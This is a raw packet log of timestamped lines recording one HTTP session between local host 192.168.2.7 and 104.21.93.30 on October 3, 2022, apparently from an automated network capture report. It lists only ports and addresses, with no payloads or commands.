Oct 3, 2022 17:34:54.255584002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.255599022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.255626917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.255634069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.255654097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.255666018 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.264782906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.264812946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.264872074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.264925003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.264951944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.264977932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.264993906 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265003920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265018940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265033960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265058994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265084982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265103102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265111923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265130043 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265141010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265166998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265192032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265209913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265218019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265234947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265244961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265273094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265286922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265299082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265326023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265341043 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265352964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265377998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265403032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265420914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265429020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265444994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265458107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265484095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265496969 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265508890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265532017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265557051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265574932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265582085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265598059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265609026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265635967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265650988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265661955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265687943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265713930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265731096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265741110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265757084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265769958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265794992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265820026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265836954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265846014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265860081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265873909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265899897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265924931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265938997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265949965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.265964031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.265979052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266002893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266021013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266030073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266055107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266073942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266082048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266108990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266134977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266156912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266160965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266185045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266189098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266216040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266242027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266258001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266268015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266278982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266294956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266346931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.266406059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266433954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266453981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.266479015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.267752886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.274862051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.274923086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.274947882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.274972916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.274997950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275008917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275022984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275044918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275051117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275077105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275089979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275103092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275129080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275154114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275166035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275192022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275258064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275285959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275310040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275336981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275353909 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275362015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275377035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275388956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275413990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275438070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275450945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275465012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275474072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275491953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275530100 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275708914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275737047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275763035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275788069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275810003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275814056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275830030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275840998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275866985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275891066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275912046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275917053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275934935 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275943041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275969028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.275985956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.275995016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276021004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276036978 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.276046038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276072025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276088953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.276098013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276124954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276149035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276163101 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.276175976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276190996 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.276202917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276226997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.276245117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277371883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277400017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277426958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277434111 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277467966 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277662039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277688026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277713060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277739048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277740955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277769089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277795076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277796030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277822018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277838945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277848959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277875900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277889013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277901888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277926922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277940989 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.277951956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.277992010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278104067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278131962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278156996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278172970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278182983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278209925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278224945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278235912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278301954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278588057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278614998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278640985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278660059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278665066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278692007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278717041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278733015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278745890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278760910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278773069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278799057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278815985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278825045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278851986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278891087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278897047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278918982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278945923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278960943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.278973103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.278990030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279000044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279026985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279052973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279068947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279078007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279093027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279104948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279133081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279150009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279840946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279869080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279894114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279895067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279921055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279922962 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279947996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279948950 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.279975891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.279988050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280003071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280028105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280052900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280071020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280078888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280092955 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280107021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280133009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280158997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280164957 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280181885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280209064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280222893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280236006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280246973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280262947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280289888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280301094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.280318022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280339956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.280360937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.281997919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.306622028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306674957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306703091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306727886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306763887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306792021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306818008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306844950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306860924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.306905985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306936026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.306941986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.306972980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.306974888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307009935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307038069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307069063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307097912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307126045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307154894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307183981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307212114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307214975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307246923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307271004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307276011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307306051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307333946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307363033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307391882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307418108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307429075 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307446003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307463884 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307477951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307488918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307507992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307537079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307566881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307584047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307598114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307615995 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307631969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307662964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307693958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307709932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307723999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307749033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307755947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307785988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307818890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307835102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307848930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307866096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307882071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307909966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307924032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.307940006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.307971001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308000088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308015108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308031082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308044910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308063030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308094025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308123112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308140993 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308151960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308171034 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308182955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308206081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308229923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308260918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308264017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308294058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308299065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308324099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308341980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308357000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308387041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308415890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308430910 CEST	49702	80	192.168.2.7	104.21.93.30
